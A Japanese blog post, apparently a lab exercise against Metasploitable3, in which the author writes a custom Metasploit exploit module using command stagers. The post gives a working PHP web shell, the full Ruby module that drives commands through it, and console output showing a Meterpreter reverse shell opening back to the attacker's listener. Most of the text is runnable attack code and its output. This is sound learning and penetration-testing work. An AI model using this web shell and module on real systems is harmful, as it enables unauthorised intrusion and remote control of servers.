MetasploitのExploitモジュールを作成してみた（command stagers版）

Metasploitのサイトにある[How to use command stagers](https://docs.metasploit.com/docs/development/developing-modules/guides/how-to-use-command-stagers.html)に従って、WebShellからリバースシェルで接続するExploitモジュールを作成してみました。
# 最初に
基本的には、How to use command stagersのコードを使用していますが、そのままだと、send_request_cgi methodが無いというエラーで実行できませんでしたので、`include Msf::Exploit::Remote::HttpClient`を追加しました。
# WebShell
Metasploitable3のuploadsフォルダにdavtestを使用してアップロードします。
```php:webshell.php
<?php echo system($_GET['cmd']); ?>
```
# モジュール
```ruby:custom_cmd_stager.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Command Injection Using CmdStager',
        'Description' => %q{
          This exploits a command injection using the command stager.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'tsuko5963' ],
        'References' => [ [ 'URL', 'http://metasploit.com' ] ],
        'Platform' => 'linux',
        'Targets' => [ [ 'Linux', {} ] ],
        'Payload' => { 'BadChars' => "\x00" },
        'CmdStagerFlavor' => [ 'printf' ],
        'Privileged' => false,
        'DisclosureDate' => '2025-05-13',
        'DefaultTarget' => 0
      )
    )
  end

  def filter_bad_chars(cmd)
    cmd.gsub!(/chmod \+x/, 'chmod 777')
    cmd.gsub!(/;/, ' %26%26 ')
    cmd.gsub!(/ /, '+')
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      {
        'method' => 'GET',
        'uri' => '/uploads/webshell.php',
        'encode_params' => false,
        'vars_get' => {
          'cmd' => "#{filter_bad_chars(cmd)}"
        }
      }
    )
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager
  end

end
```
command stagerでは、フレーバーを指定して、攻撃コードを選択するようです。
今回のフレーバーは、'printf'です。
exploitで、execute_cmdstagerを実行すると、攻撃コードを設定して、execute_commandが実行されるようです。
モジュールを~/.msf4/modules/exploits/にコピーします。
# 実行
metasploitを起動します。
```
msfconsole
```
custom_modを選択して、RHOSTSとLHOSTを設定して、オプションを確認します。
```
[msf](Jobs:0 Agents:0) >> use custom_cmd_stager
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> set rhosts 192.168.56.123
rhosts => 192.168.56.123
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> set lhost 192.168.56.10
lhost => 192.168.56.10
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> show options

Module options (exploit/custom_cmd_stager):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type
                                       :host:port][...]
   RHOSTS   192.168.56.123   yes       The target host(s), see https://docs.metaspl
                                       oit.com/docs/using-metasploit/basics/using-m
                                       etasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is
                                        randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is
                                       random)
   VHOST                     no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to liste
                                       n on. This must be an address on the local m
                                       achine or 0.0.0.0 to listen on all addresses
                                       .
   SRVPORT  8080             yes       The local port to listen on.


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.10    yes       The listen address (an interface may be specif
                                     ied)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Linux



View the full module info with the info, or info -d command.
```
実行します。
```
[msf](Jobs:0 Agents:0) exploit(custom_cmd_stager) >> run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Exploiting...
[*] Sending stage (1017704 bytes) to 192.168.56.123
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.123:46829) at 2025-05-14 12:43:01 +0900
[*] Command Stager progress - 100.00% done (820/820 bytes)

(Meterpreter 1)(/var/www/uploads) > 
```